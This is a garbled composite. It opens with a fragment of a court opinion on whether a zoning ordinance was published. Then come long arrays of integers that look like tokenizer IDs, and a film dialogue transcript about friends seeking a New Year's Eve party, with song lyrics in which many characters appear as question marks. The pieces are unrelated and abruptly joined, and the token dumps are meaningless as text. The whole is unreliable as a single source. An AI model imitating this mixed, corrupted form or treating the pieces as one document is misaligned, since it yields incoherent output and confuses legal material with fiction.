the trial court remarked, "the map that is attached to the exhibit is a facsimile to the one on the wall," evidently referring to the map mentioned by the district attorney in his opening statement. While such map on the wall was not offered in evidence, these facts are mentioned as affording a possible explanation why the county clerk was not able to find the original zoning map on file in his office on April 30, 1951. The evidence offered by the defendant on alleged failure to publish was also a certificate of the county clerk dated *53 April 30, 1951, stating, "I find no proof of publication of original [zoning] ordinance or any amendments thereto." The failure of the county clerk to find any proofs of publication on file in his office falls far short of establishing that the ordinance, and amendments, were never published, and likewise fails to
[ 352, 1977, 751, 352, 434, 2717, 13, 751, 352, 434, 247, 5884, 40471, 449, 346, 4497, 13, 1339, 479, 2028, 368, 1633, 13, 5332, 449, 346, 1394, 403, 39349, 13, 816, 417, 253, 1039, 368, 1158, 368, 403, 449, 346, 4497, 13, 840, 849, 865, 346, 8620, 14, 17034, 13, 5332, 449, 346, 7161, 368, 1469, 865, 5749, 3152, 382, 868, 9336, 346, 26859, 74, 449, 346, 36, 38574, 13, 3343, 449, 346, 1394, 476, 626, 3553, 449, 346, 1394, 1694, 4370, 10739, 327, 634, 896, 449, 346, 7093, 7619, 449, 346, 30368, 479, 449, 346, 12978, 368, 24284, 598, 865, 346, 2512, 434, 1694, 281, 320, 247, 7674, 1475, 1060, 9366, 449, 346, 42, 476, 626, 449, 346, 42, 476, 626, 564, 327, 449, 346, 2302, 13, 8028, 281, 479, 449, 346, 19577, 281, 479, 449, 346, 42, 1353, 2970, 281, 326, 3128, 449, 346, 4045, 368, 2096, 479, 865, 346, 1147, 434, 619, 760, 3524, 13, 6701, 281, 368, 449, 346, 30395, 479, 865, 346, 42, 871, 352, 434, 417, 1199, 13, 533, 387, 1878, 12284, 588, 320, 627, 449, 346, 37376, 865, 346, 4013, 13, 368, 971, 12284, 865, 346, 28986, 449, 346, 42, 1833, 1379, 253, 44693, 3109, 16, 6937, 7885, 16, 6549, 8304, 5599, 449, 346, 26859, 74, 449, 346, 40616, 449, 346, 1328, 434, 512, 13298, 449, 346, 3633, 1977, 432, 326, 7674, 449, 346, 1231, 452, 271, 8945, 449, 346, 27122, 6495, 8302, 5720, 449, 346, 4013, 13, 368, 871, 13, 6858, 13, 368, 1805, 2028, 479, 326, 672, 359, 755, 4886, 449, 346, 42, 1353, 247, 1652, 45192, 449, 346, 1147, 434, 1457, 10519, 434, 17363, 449, 346, 18853, 419, 449, 346, 42, 476, 626, 2868, 326, 368, 403, 594, 1892, 598, 326, 368, 1871, 564, 323, 326, 11115, 449, 346, 42, 9428, 1024, 368, 971, 779, 323, 4834, 13, 23445, 865, 346, 1394, 403, 594, 46197, 449, 346, 3980, 5046, 368, 971, 12284, 285, 253, 11115, 449, 346, 2513, 326, 352, 865, 346, 8262, 13, 18981, 449, 346, 7845, 3255, 346, 7845, 1053, 626, 5181, 479, 449, 346, 25643, 1199, 37429, 449, 346, 5804, 368, 816, 755, 253, 1113, 281, 2118, 865, 346, 1394, 871, 13, 6858, 13, 275, 1495, 13, 4536, 368, 1694, 281, 3297, 1335, 281, 2118, 3579, 449, 346, 1276, 865, 346, 17304, 368, 751, 247, 19555, 865, 346, 6506, 449, 346, 6506, 13, 1705, 327, 449, 346, 4943, 368, 564, 449, 346, 1394, 871, 13, 436, 4498, 1900, 25264, 479, 273, 479, 285, 619, 29517, 4867, 404, 449, 346, 14191, 404, 369, 619, 1682, 3331, 247, 1643, 1107, 896, 13, 7357, 359, 6497, 275, 2389, 342, 253, 1072, 3226, 449, 346, 46, 2188, 449, 346, 41774, 3226, 449, 346, 39, 9356, 449, 346, 25954, 13, 4867, 404, 369, 253, 6032, 581, 449, 346, 1394, 871, 13, 309, 369, 247, 23478, 1652, 694, 47925, 14, 2522, 5772, 449, 346, 42, 574, 642, 3723, 287, 896, 840, 13, 594, 13, 368, 871, 13, 309, 3589, 626, 1051, 3589, 626, 6032, 449, 346, 25954, 13, 581, 2360, 309, 2427, 281, 247, 10301, 13, 19496, 715, 4867, 404, 285, 253, 3226, 273, 619, 13702, 9123, 8955, 449, 346, 42, 2206, 275, 253, 896, 273, 253, 10301, 285, 9047, 731, 6008, 8955, 512, 45432, 2360, 449, 346, 6407, 597, 574, 247, 1652, 9185, 2739, 13, 8995, 13, 12173, 13, 253, 2644, 2181, 13, 285, 253, 2644, 673, 309, 1353, 7063, 689, 627, 937, 346, 42, 753, 13, 309, 5730, 326, 326, 369, 479, 449, 346, 9301, 2181, 309, 871, 937, 346, 14191, 404, 18470, 715, 247, 2876, 24732, 285, 48722, 281, 2471, 987, 275, 253, 4766, 273, 253, 45432, 10301, 449, 346, 46, 2188, 449, 346, 33633, 449, 346, 42, 1900, 1869, 13, 352, 812, 1849, 644, 479, 449, 346, 1147, 943, 1849, 644, 479, 449, 346, 1552, 4498, 1900, 1056, 479, 1158, 670, 326, 449, 346, 46, 2188, 449, 346, 18074, 4742, 8511, 449, 346, 42, 1833, 1620, 7740, 617, 449, 346, 2598, 752, 403, 368, 3981, 13, 2389, 26280, 865, 346, 2302, 449, 346, 1328, 434, 3981, 359, 10095, 626, 3819, 670, 841, 6068, 13, 285, 11697, 13, 309, 1158, 344, 434, 987, 449, 346, 4013, 13, 309, 871, 309, 1353, 987, 13, 6858, 449, 346, 1276, 604, 13, 323, 253, 13232, 273, 776, 19429, 13, 359, 816, 4425, 281, 3553, 253, 3128, 3815, 11608, 865, 5749, 45, 34042, 9336, 346, 1394, 1051, 368, 1599, 642, 6068, 387, 512, 865, 346, 2773, 7835, 1199, 1805, 13, 2506, 626, 352, 865, 346, 18931, 14, 73, 6968, 449, 346, 1394, 1599, 13, 359, 564, 1728, 3815, 13, 642, 6068, 387, 512, 13, 1014, 604, 352, 2097, 359, 755, 480, 27475, 264, 323, 253, 2644, 807, 865, 346, 2773, 434, 253, 2238, 273, 17789, 3, 346, 42, 1353, 7378, 281, 1056, 323, 776, 19429, 449, 5749, 45, 34042, 9336, 346, 4497, 937, 346, 10249, 449, 346, 10249, 449, 346, 10249, 449, 346, 1276, 434, 9369, 275, 436, 7674, 987, 1024, 310, 5389, 449, 346, 1147, 434, 5389, 449, 346, 2513, 627, 667, 1039, 326, 368, 476, 755, 436, 1113, 281, 816, 2118, 865, 346, 2513, 627, 667, 1039, 368, 476, 755, 562, 253, 1113, 285, 13, 16831, 13, 2118, 326, 9988, 323, 479, 865, 346, 22653, 951, 5136, 346, 40773, 13, 1053, 626, 449, 346, 5498, 626, 449, 346, 6300, 3523, 352, 449, 346, 15021, 352, 449, 346, 1276, 865, 346, 1276, 865, 346, 1276, 865, 346, 1276, 3255, 346, 1276, 858, 309, 513, 865, 346, 1276, 434, 3430, 865, 346, 42, 1053, 626, 871, 449, 346, 42, 816, 3255, 346, 42, 5485, 619, 2927, 13, 285, 309, 1051, 285, 309, 3047, 634, 2454, 13, 285, 309, 8156, 3, 346, 42, 476, 626, 513, 436, 449, 346, 1276, 865, 346, 1394, 816, 3047, 619, 2454, 285, 8156, 368, 476, 626, 452, 2825, 342, 479, 865, 346, 42, 476, 626, 564, 327, 11654, 1907, 2825, 342, 952, 665, 1053, 626, 1557, 670, 479, 449, 346, 1898, 368, 816, 391, 3255, 346, 1394, 816, 8156, 436, 1024, 865, 346, 6506, 937, 346, 42, 858, 449, 346, 2598, 512, 253, 1107, 273, 6325, 13, 34209, 2825, 342, 23499, 26636, 285, 44693, 13577, 13, 326, 434, 1270, 13, 326, 434, 4030, 13, 533, 1060, 13, 1024, 13, 342, 479, 13, 285, 270, 312, 13, 368, 452, 271, 2563, 16372, 1279, 285, 368, 8968, 3, 346, 5658, 476, 626, 513, 352, 10542, 865, 346, 5498, 626, 42963, 387, 479, 13, 15273, 449, 346, 1394, 1472, 35598, 598, 13, 368, 871, 326, 865, 346, 42, 1353, 35598, 598, 865, 346, 42, 1599, 13, 752, 403, 368, 865, 346, 42, 1599, 13, 259, 14, 5371, 513, 368, 1067, 11853, 665, 12326, 2994, 715, 581, 38467, 2954, 846, 253, 1735, 672, 344, 812, 320, 342, 3255, 346, 1276, 865, 346, 1276, 865, 346, 3039, 309, 812, 320, 342, 752, 865, 346, 8398, 368, 449, 346, 5035, 368, 449, 5749, 14581, 25083, 9336, 346, 42, 476, 626, 564, 327, 449, 346, 1552, 5599, 40581, 247, 12835, 7020, 449, 346, 42, 3260, 359, 943, 1849, 1669, 779, 3212, 449, 346, 26521, 327, 449, 346, 1231, 1472, 2761, 627, 449, 346, 6723, 368, 29521, 865, 346, 1231, 1472, 417, 2761, 627, 449, 5749, 48182, 28853, 9336, 346, 8917, 368, 6068, 4089, 1110, 5654, 28853, 865, 346, 6300, 755, 779, 715, 247, 7674, 449, 346, 1231, 476, 626, 816, 1691, 779, 275, 247, 7674, 449, 346, 1328, 16326, 626, 9680, 449, 346, 4013, 13, 6403, 626, 359, 7514, 865, 346, 7745, 13, 344, 1833, 320, 512, 987, 13, 10826, 865, 346, 56, 14, 1231, 1833, 2075, 253, 6254, 285, 1918, 779, 253, 2953, 449, 346, 10795, 344, 1694, 667, 2583, 327, 779, 865, 346, 6506, 449, 346, 688, 521, 23138, 449, 346, 42, 1353, 417, 4560, 247, 23138, 1060, 449, 346, 13689, 247, 7017, 449, 346, 4943, 352, 310, 449, 346, 8262, 13, 627, 434, 642, 2583, 275, 1060, 449, 346, 4013, 13, 973, 13, 326, 434, 816, 1270, 449, 346, 42, 2183, 368, 359, 943, 1849, 1669, 779, 3212, 449, 346, 13618, 13, 2951, 545, 466, 13, 4496, 449, 346, 42, 476, 626, 1379, 352, 10542, 449, 346, 3074, 368, 513, 310, 17805, 449, 346, 42, 1599, 13, 2951, 545, 466, 13, 452, 368, 2455, 1869, 281, 1007, 327, 253, 6627, 1930, 273, 1841, 13, 23445, 865, 346, 8917, 368, 2455, 1158, 326, 5046, 368, 812, 452, 247, 1175, 673, 604, 368, 816, 6294, 634, 4107, 28709, 8, 6208, 323, 2620, 7253, 865, 346, 42, 1599, 13, 2717, 434, 1175, 2217, 323, 368, 449, 346, 13618, 449, 346, 4013, 13, 619, 2656, 449, 346, 1276, 865, 346, 1552, 310, 253, 2953, 309, 4159, 1066, 323, 619, 19338, 434, 3128, 449, 346, 1394, 1472, 439, 2835, 479, 449, 346, 2302, 1039, 449, 346, 1552, 310, 9106, 253, 987, 2953, 449, 346, 4374, 449, 346, 1231, 1472, 9809, 449, 346, 8398, 368, 13, 2656, 449, 346, 1231, 1472, 1469, 281, 253, 3128, 449, 346, 8380, 327, 449, 346, 8380, 327, 449, 346, 39993, 13, 309, 1833, 5834, 598, 342, 368, 1996, 449, 346, 6812, 545, 466, 5136, 346, 8380, 327, 13, 1339, 434, 564, 281, 253, 3128, 449, 5749, 15155, 507, 9336, 346, 8677, 4534, 12805, 6646, 5136, 346, 865, 346, 1909, 309, 2940, 949, 865, 346, 865, 346, 1552, 26395, 1533, 865, 346, 865, 346, 13422, 272, 323, 1708, 865, 346, 865, 346, 688, 253, 13862, 273, 41403, 865, 346, 865, 346, 42, 1642, 4266, 865, 346, 865, 346, 2513, 512, 3524, 3663, 865, 346, 865, 346, 2513, 627, 760, 865, 346, 865, 346, 42728, 285, 24307, 865, 346, 865, 346, 1898, 33030, 865, 346, 865, 346, 1898, 1016, 673, 309, 1928, 751, 436, 3304, 865, 346, 865, 346, 2512, 434, 581, 2181, 309, 971, 281, 871, 865, 346, 865, 346, 1276, 434, 594, 11755, 670, 865, 346, 865, 346, 6432, 584, 13, 2389, 285, 4685, 865, 346, 865, 346, 4013, 865, 346, 865, 346, 1276, 434, 594, 11755, 670, 865, 346, 865, 346, 6432, 584, 13, 2389, 285, 4685, 865, 346, 41, 2345, 634, 6208, 13, 6858, 449, 346, 865, 346, 1898, 347, 309, 2940, 327, 865, 346, 865, 346, 18852, 26504, 2069, 865, 346, 865, 346, 3220, 5968, 4850, 594, 1066, 32928, 865, 346, 865, 346, 20806, 865, 346, 865, 346, 2598, 835, 403, 253, 2266, 865, 346, 865, 346, 7883, 403, 253, 18273, 865, 346, 865, 346, 1898, 835, 310, 326, 27851, 865, 346, 865, 346, 40112, 27851, 865, 346, 865, 17169, 33460, 1016, 673, 865, 346, 865, 346, 42, 1928, 352, 37032, 1977, 865, 346, 865, 346, 1147, 816, 2789, 479, 971, 281, 3501, 865, 346, 865, 346, 1276, 434, 594, 11755, 45847, 346, 12764, 449, 346, 1552, 1364, 320, 352, 13, 23445, 865, 346, 33298, 1457, 10519, 449, 346, 3074, 5136, 346, 25438, 1051, 1740, 1051, 1264, 1051, 767, 1051, 581, 449, 346, 33298, 1457, 10519, 1476, 5749, 38650, 507, 62, 5531, 73, 449, 346, 4013, 13, 2656, 449, 346, 47646, 449, 346, 47646, 449, 5749, 43537, 793, 62, 7670, 449, 346, 12764, 449, 346, 12764, 13, 38091, 449, 346, 8620, 4370, 449, 346, 8620, 4370, 449, 346, 8262, 449, 346, 56, 640, 598, 449, 346, 38532, 865, 346, 7883, 253, 7435, 403, 368, 865, 346, 42, 3153, 1060, 449, 346, 7883, 253, 7435, 403, 368, 865, 346, 4013, 13, 368, 1472, 34781, 449, 346, 12764, 449, 346, 42, 1353, 2951, 545, 466, 449, 346, 42, 1353, 247, 3331, 273, 634, 19338, 4009, 434, 449, 346, 3220, 19338, 4009, 865, 346, 4509, 15657, 32937, 76, 3691, 865, 346, 6506, 13, 10902, 449, 346, 2993, 3982, 479, 1060, 1390, 2360, 449, 346, 4013, 13, 2656, 449, 346, 42, 1353, 594, 10416, 689, 449, 346, 42, 476, 626, 2868, 352, 449, 346, 46, 14, 3220, 19338, 4009, 432, 15657, 32937, 76, 3691, 369, 1060, 1390, 2360, 865, 346, 18931, 13, 10902, 449, 346, 10759, 285, 670, 247, 3041, 643, 952, 449, 346, 4497, 13, 326, 434, 1270, 449, 346, 2773, 434, 816, 1270, 449, 346, 35485, 2210, 285, 309, 9829, 352, 449, 5749, 43537, 793, 9336, 346, 1552, 310, 594, 4484, 449, 346, 4013, 13, 285, 309, 1925, 619, 4651, 13, 285, 597, 971, 368, 281, 1705, 689, 323, 8955, 11608, 449, 346, 1276, 865, 346, 2302, 13, 352, 434, 4484, 13, 686, 18923, 309, 2183, 731, 3, 346, 42, 21567 ]	it away like it's nothing, like it's a minor inconvenience." "Well, let me tell you something, Jack." "You are cursed, just not the way you think you are." "Well, then how?" "Good-bye, Jack." "Where you going?" "[Whistles]" "Taxi." "Cindy, wait." "You can't leave." "You got dog shit on your back." "Your dress." "Fuck me." "Will you hurry up?" "There's got to be a cab around here somewhere." "I can't." "I can't go on." "No, listen to me." "Listen to me." "I'm getting to that party." "Do you understand me?" "It's my only hope, thanks to you." "Excuse me?" "I know it's not much, but at least Eric will be there." "Eric?" "Oh, you want Eric?" "Fine." "I'll take the bartender/lawyer/real estate guy." "Taxi." "Lady." "He's all yours." "Get away from that cab." "We have an emergency." "292 Great Jones Street." "Oh, you know, baby, you better tell me that when we get moving." "I'm a little intoxicated." "It's New Year's Eve." "Ha ha." "I can't believe that you are so hard up that you'd go for that lawyer." "I suppose now you want him for yourself, huh?" "You are so paranoid." "Or maybe you want Eric and the lawyer." "Is that it?" "Hey, hey." "Please..." "Please don't touch me." "Too much hostility." "Can you just get the car to move?" "You know, baby, in life, sometimes you got to stay still to move forward." "What?" "Would you like a cigarette?" "Yeah." "Yeah, come on." "Here you go." "You know, this song always reminds me of me and my buddy Twain." "Twain was my best friend a few years back, till we fell in love with the same girl." "Mmm." "Pretty girl." "Foxy." "Anyway, Twain was the smooth one." "You know, I was a shy little knuckle-head kid." "I had no Afro back then, so, you know, I wasn't... wasn't smooth." "Anyway, one night I went to a restaurant, bump into Twain and the girl of my dreams eating dinner." "I sat in the back of the restaurant and watched them eat dinner all goddamn night." "First they had a little finger food, wine, cheese, the whole thing, and the whole time I'm sitting over there," "I said, I wish that that was me." "Next thing I know," "Twain bite into a string bean and choked to death right in the middle of the goddamn restaurant." "Mmm." "Hmm." "I always thought, it could've been me." "It should've been me." "This song always make me think about that." "Mmm." "Silky ho." "I'll never forget her." "So what are you saying, love kills?" "No." "He's saying we shouldn't fight about these guys, and personally, I think he's right." "Oh, I know I'm right, baby." "What if, for the sake of our friendship, we just decided to leave the party alone tonight?" "[Laughs]" "You... you mean no guys at all?" "That sounds much better, doesn't it?" "Uh-huh." "You mean, we go home alone, no guys at all, even if it means we get jinxed for the whole year?" "That's the kind of sacrifice" "I'm willing to make for our friendship." "[Laughs]" "Well," "OK." "OK." "OK." "What's happening in this cab right now is beautiful." "It's beautiful." "Is there any way that you can get this car to just move?" "Is there any way you can get out the car and, uh, move that truck for me?" "Lucy:" "Kevin, don't." "Don't." "Just stop it." "Stop it." "What?" "What?" "What?" "What..." "What did I do?" "What's wrong?" "I don't know." "I just..." "I opened my eyes, and I... and I saw your face, and I realized" "I can't do this." "What?" "You just saw my face and realized you can't have sex with me?" "I can't go on forever having sex with people who don't care about me." "And you just r..." "You just realized this now?" "Yeah," "I did." "So all the years of empty, meaningless sex with countless strangers and bartenders, that's great, that's fine, but here, now, with me, and bam, you have an epiphany and you realize" "you can't do it anymore?" "Don't yell at me, Kevin." "You're fucked up, you know that?" "I'm fucked up?" "I mean, what are you?" "I mean, w-what do you call somebody who throws himself into one doomed relationship after the next when he could be with..." "What?" "What?" "When I could be with what?" "Thank you." "See you." "[Sirens]" "I can't go on." "This guy weighs a fucking ton." "I knew we should've left him behind." "Hold on." "We're almost there." "Are you kidding?" "We're not almost there." "[Gunshots]" "Did you guys hear those gunshots?" "Just get him into a cab." "We can't just put him in a cab." "He ain't conscious." "Oh, aren't we concerned?" "Look, he'll be all right, OK?" "W-We'll pay the driver and give him the address." "Does he got any money on him?" "Yeah." "In his wallet." "I'm not finding a wallet here." "Wait a minute." "Here it is." "Hey, there's no money in here." "Oh, well, that's just great." "I told you we should've left him behind." "God, Stephie, please." "I can't take it anymore." "All you do is complain." "I mean, Stephie, have you ever thought to look on the bright side of things, huh?" "Did you ever think that maybe you could have a good time if you just shut your freakin' mouth for five seconds?" "I mean, nothing's good enough for you." "God." "Oh, my God." "What?" "This is the address I wrote down for my cousin's party." "You're shitting me." "No way." "This is totally the right address." "Yes." "We're saved." "Thank you, God." "We're going to the party." "Come on." "Come on." "Dave, I'll catch up with you later." "Stephie:" "Come on, let's go to the party." "[Moans]" "Elvis Costello:" "?" "As I walk through?" "?" "This wicked world?" "?" "Searching for light?" "?" "In the darkness of insanity?" "?" "I ask myself?" "?" "Is all hope lost?" "?" "Is there only?" "?" "Pain and hatred?" "?" "And misery?" "?" "And each time I feel like this inside?" "?" "There's one thing I want to know?" "?" "What's so funny about?" "?" "Peace, love and understanding?" "?" "Oh?" "?" "What's so funny about?" "?" "Peace, love and understanding?" "Hush your mouth, baby." "?" "And as I walk on?" "?" "Through troubled times?" "?" "My spirit gets so downhearted?" "?" "Sometimes?" "?" "So where are the strong?" "?" "Who are the trusted?" "?" "And where is that harmony?" "?" "Sweet harmony?" "?" "'Cause each time?" "?" "I feel it slipping away?" "?" "It just makes me want to cry?" "?" "What's so funny...?" "Hi." "This must be it, huh?" "Happy New Year." "All:" "Five... four... three... two... one." "Happy New Year!" "[Groans] Ohh." "Oh, God." "Ow." "Ow." "[Gasps] Jesus." "Hi." "Hi, puppy." "Good dog." "Good dog." "Hey." "Wake up." "Huh?" "Who the fuck are you?" "I live here." "Who the fuck are you?" "Oh, you're Monica." "Hi." "I'm Stephie." "I'm a friend of your cousin Val's." "My cousin Val?" "From Ronkonkoma?" "Yeah, yeah." "She brought me here last night." "Oh, God." "I'm so hung over." "I can't believe it." "M-My cousin Val from Ronkonkoma was here last night?" "Uh, yeah." "Her and about a million other people." "Well, that's great." "That's just great." "Everybody came and I missed it." "[Gasps]" "This is so cool." "Oh, and I called my parents, and they want you to come over for dinner tonight." "What?" "No, it's cool, 'cause I told them" "I slept
[ 878, 9470, 25859, 13, 533, 806, 344, 651, 452, 281, 11883, 4457, 436, 2360, 15, 187, 187, 510, 21259, 6514, 19004, 839, 253, 5254, 38149, 598, 715, 24336, 434, 27929, 15, 733, 3543, 38514, 285, 258, 1031, 285, 5412, 15, 187, 187, 1328, 7320, 598, 253, 2806, 17848, 326, 574, 644, 40981, 264, 689, 253, 10955, 11834, 253, 5006, 434, 3033, 830, 15, 1244, 627, 13, 11834, 253, 49943, 13, 344, 3047, 352, 15, 380, 4900, 2562, 369, 247, 2969, 2806, 3817, 342, 247, 9711, 17512, 285, 247, 1643, 16020, 285, 20994, 327, 697, 2454, 15, 329, 1355, 15862, 1708, 369, 28115, 6627, 4759, 15, 23195, 326, 24336, 1119, 247, 5234, 342, 1264, 6887, 7101, 795, 5089, 13, 5566, 13, 8726, 3333, 733, 369, 275, 253, 795, 21381, 64, 1899, 15, 187, 187, 31900, 316, 17609, 253, 3943, 281, 795, 8997, 4414, 1244, 13, 816, 281, 320, 2119, 13, 344, 7320, 562, 253, 2978, 273, 295, 469, 5450, 6371, 432, 253, 2813, 434, 2806, 285, 2502, 8545, 17596, 285, 24145, 745, 253, 11452, 434, 17512, 15, 187, 187, 5872, 13, 323, 253, 806, 673, 275, 2067, 3038, 13, 344, 4136, 2994, 247, 3676, 25790, 273, 6619, 15, 187, 187, 1989, 253, 22135, 369, 2159, 14, 27379, 347, 521, 7664, 323, 34327, 43801, 896, 689, 779, 15, 7900, 369, 703, 32, 1244, 835, 369, 253, 32550, 32, 187, 187, 4118, 187, 187, 4, 14114, 187, 187, 19710, 2356, 432, 253, 3603, 3304, 247, 24096, 275, 2914, 273, 399, 25406, 5197, 13, 253, 32550, 9047, 253, 4585, 1659, 13, 31288, 253, 1463, 2774, 15, 380, 30513, 574, 4269, 521, 2798, 281, 5492, 285, 17052, 281, 830, 327, 521, 2133, 5747, 253, 5412, 15, 795, 510, 7733, 64, 651, 4720, 320, 6312, 11608, 13, 285, 275, 253, 747, 1533, 326, 9461, 598, 432, 253, 39187, 273, 253, 1711, 13, 344, 651, 320, 247, 7122, 15, 187, 187, 1328, 10141, 521, 3698, 15, 380, 4964, 273, 16505, 12777, 574, 1705, 13, 285, 352, 369, 673, 281, 13673, 795, 510, 6495, 8726, 3333, 4325, 521, 18553, 11320, 13, 344, 5176, 253, 8905, 323, 253, 4900, 2562, 985, 15, 733, 369, 247, 2969, 2813, 1160, 432, 1892, 2806, 8013, 342, 247, 9711, 9017, 494, 17512, 285, 247, 20661, 5340, 326, 6107, 253, 38770, 6409, 15, 187, 187, 510, 32550, 908, 521, 17300, 281, 7102, 253, 12107, 3835, 15492, 896, 13, 19678, 247, 6627, 2502, 6409, 15, 754, 12293, 715, 253, 10805, 8762, 285, 20061, 521, 6174, 562, 3195, 624, 314, 387, 521, 7123, 15, 754, 8231, 281, 521, 15746, 327, 253, 5412, 3216, 285, 5439, 521, 15944, 281, 253, 4585, 1659, 15, 2635, 344, 10184, 253, 6409, 15, 187, 187, 1989, 2717, 4592, 15, 187, 187, 1328, 8715, 626, 3264, 271, 18864, 13, 533, 344, 574, 18998, 326, 344, 651, 923, 253, 3289, 12948, 281, 1495, 1561, 253, 34086, 434, 8323, 15, 1292, 627, 369, 2717, 627, 15, 1621, 3289, 15, 1621, 861, 273, 2712, 562, 273, 253, 9826, 15, 187, 187, 1328, 3735, 253, 3590, 273, 17682, 3513, 4927, 25083, 285, 3260, 326, 344, 574, 4242, 15, 45138, 253, 20086, 574, 6888, 253, 2670, 273, 253, 17651, 285, 574, 27826, 3253, 15, 187, 187, 34, 5149, 273, 31917, 594, 490, 656, 10367, 326, 352, 1160, 779, 1908, 3192, 521, 1211, 1495, 327, 326, 1077, 6308, 22007, 689, 779, 15, 380, 2065, 85, 743, 317, 18782, 964, 2031, 18482, 360, 25288, 18180, 275, 521, 18553, 11320, 3543, 5536, 1411, 521, 1930, 15, 754, 18998, 8133, 253, 5412, 15474, 273, 253, 5654, 1411, 521, 16511, 285, 43464, 253, 9632, 15, 187, 187, 1989, 344, 4571, 626, 513, 326, 15, 831, 369, 816, 1529, 1071, 15, 754, 574, 1705, 594, 2080, 13, 533, 344, 574, 4242, 969, 15, 733, 3589, 626, 253, 806, 673, 13, 285, 352, 5082, 626, 320, 253, 1390, 15, 754, 651, 513, 795, 510, 7733, 64, 1919, 253, 1390, 6345, 273, 1495, 369, 15070, 432, 779, 407, 253, 20086, 285, 616, 3221, 47498, 15, 187, 187, 510, 32550, 651, 1620, 1918, 598, 15, 754, 651, 1089, 247, 747, 795, 1779, 5458, 64, 285, 1265, 969, 15, 187, 187, 4118, 187, 187, 4, 13900, 187, 187, 51, 486, 6276, 779, 13, 23698, 3697, 1171, 1001, 16113, 323, 247, 1039, 281, 1959, 2994, 432, 253, 46887, 15, 754, 3058, 247, 1355, 5313, 273, 5148, 751, 247, 9176, 13, 533, 342, 521, 3564, 3033, 1840, 253, 38458, 13, 344, 4571, 626, 1014, 3186, 323, 581, 15, 187, 187, 1328, 10141, 253, 8886, 15, 733, 369, 673, 15, 187, 187, 1328, 3261, 2439, 253, 33924, 387, 521, 3392, 15, 380, 32550, 369, 327, 521, 15746, 13, 521, 1481, 14203, 1698, 15, 18190, 1364, 452, 4783, 3430, 15, 24336, 1364, 452, 17288, 15, 187, 187, 10859, 1171, 1001, 16632, 326, 344, 812, 1928, 11010, 13, 984, 275, 326, 2774, 344, 3260, 326, 352, 651, 452, 644, 247, 29553, 528, 18864, 273, 6619, 285, 15704, 15, 1292, 1110, 14021, 4571, 626, 34165, 521, 13572, 2798, 285, 246, 20354, 7765, 15, 754, 3543, 247, 3282, 273, 6619, 533, 642, 11010, 13, 816, 253, 1072, 288, 2555, 628, 405, 15, 754, 8156, 1024, 665, 369, 5506, 323, 15606, 326, 31009, 3304, 779, 13, 285, 352, 369, 521, 2628, 281, 5416, 326, 253, 637, 387, 11406, 323, 521, 1142, 27932, 15, 187, 187, 10859, 1171, 1001, 5439, 521, 987, 3174, 281, 253, 38458, 285, 7320, 745, 521, 22756, 285, 32584, 15, 2635, 344, 908, 521, 25283, 281, 3785, 896, 253, 3727, 327, 253, 38081, 3817, 3587, 275, 2914, 273, 779, 15, 380, 18862, 6497, 1527, 13, 285, 344, 25266, 3304, 323, 2712, 326, 344, 812, 897, 15, 733, 6221, 760, 247, 1643, 9380, 285, 4958, 11595, 84, 15, 1292, 627, 369, 581, 8031, 273, 12960, 7177, 3033, 2366, 407, 247, 1355, 9711, 2929, 11536, 15, 187, 187, 2861, 12655, 521, 2133, 281, 697, 7787, 13, 344, 22803, 521, 3174, 3304, 253, 38458, 285, 10184, 253, 8031, 273, 9380, 562, 4830, 253, 5254, 1111, 15, 2635, 521, 4669, 269, 16630, 689, 253, 9380, 1919, 344, 4925, 253, 8031, 4508, 253, 2929, 11536, 15, 733, 2335, 247, 1643, 7253, 273, 521, 30106, 305, 1658, 272, 9645, 314, 689, 253, 9380, 1919, 597, 812, 1089, 247, 2186, 15, 1292, 344, 369, 2104, 281, 6558, 247, 3578, 3472, 15909, 327, 731, 285, 7808, 3324, 253, 8031, 598, 281, 253, 38458, 835, 344, 812, 3986, 352, 342, 521, 3564, 15, 187, 187, 1328, 4541, 5176, 253, 2929, 11536, 285, 48293, 352, 15, 2726, 690, 3434, 13, 253, 1355, 5313, 273, 5148, 19347, 875, 253, 20173, 5569, 285, 253, 45288, 13, 285, 672, 344, 30139, 2400, 253, 45288, 1411, 253, 13723, 13, 344, 1119, 326, 253, 22081, 9970, 574, 3663, 616, 17628, 15, 754, 7320, 521, 987, 1133, 1959, 285, 1904, 626, 15105, 342, 253, 1669, 15, 6865, 369, 3515, 562, 15, 380, 32550, 651, 3517, 8968, 326, 253, 17651, 574, 4242, 285, 651, 15813, 715, 253, 2360, 281, 6909, 253, 4852, 273, 690, 643, 2021, 15, 187, 187, 1328, 4571, 626, 1581, 326, 281, 5108, 15, 187, 187, 31840, 275, 253, 7237, 13, 344, 574, 2326, 24336, 19553, 28630, 432, 247, 873, 273, 1892, 8013, 12783, 275, 253, 896, 273, 253, 37342, 251, 15, 3697, 1171, 1001, 434, 3524, 369, 326, 627, 651, 320, 8914, 1561, 253, 12783, 347, 973, 15, 187, 187, 3378, 253, 8013, 260, 25428, 1335, 277, 36874, 432, 521, 1669, 1133, 13, 344, 13222, 1527, 253, 15828, 3369, 285, 6337, 281, 253, 896, 273, 253, 2806, 36175, 15, 25081, 253, 10581, 18862, 13, 344, 1119, 253, 17671, 285, 16113, 3304, 731, 15, 187, 187, 10859, 1171, 1001, 369, 19961, 387, 752, 344, 1119, 15, 733, 369, 247, 2336, 7116, 924, 2061, 284, 67, 636, 273, 10485, 610, 285, 28630, 15, 1707, 497, 6763, 273, 16334, 285, 2067, 1133, 44186, 13, 533, 253, 10485, 326, 7270, 521, 5130, 369, 247, 8566, 285, 14484, 32838, 14, 13565, 12077, 20260, 15, 187, 187, 28782, 314, 10935, 247, 1048, 11338, 342, 10488, 16334, 273, 964, 1857, 47108, 28630, 13, 344, 31800, 352, 715, 253, 10485, 285, 2335, 745, 846, 253, 32550, 15, 187, 187, 1328, 812, 923, 1716, 13409, 4886, 1977, 432, 399, 25406, 5197, 13, 13590, 6146, 327, 37268, 6448, 5720, 15, 3697, 1171, 1001, 812, 5476, 835, 253, 637, 369, 12860, 15, 2596, 2972, 6146, 285, 581, 2972, 9268, 285, 253, 32550, 812, 15813, 715, 253, 4410, 10243, 37049, 4660, 327, 2418, 5720, 15, 187, 187, 510, 2329, 369, 5412, 285, 3543, 5536, 275, 521, 18926, 347, 344, 6337, 1066, 37268, 6448, 15, 380, 8762, 331, 1947, 521, 24194, 15, 380, 32550, 369, 7824, 7808, 285, 38440, 13, 2820, 417, 281, 549, 1312, 18910, 15, 3697, 1171, 1001, 812, 4089, 253, 4927, 25083, 3551, 15, 9651, 651, 320, 1863, 28456, 689, 253, 17658, 16790, 285, 399, 25406, 5197, 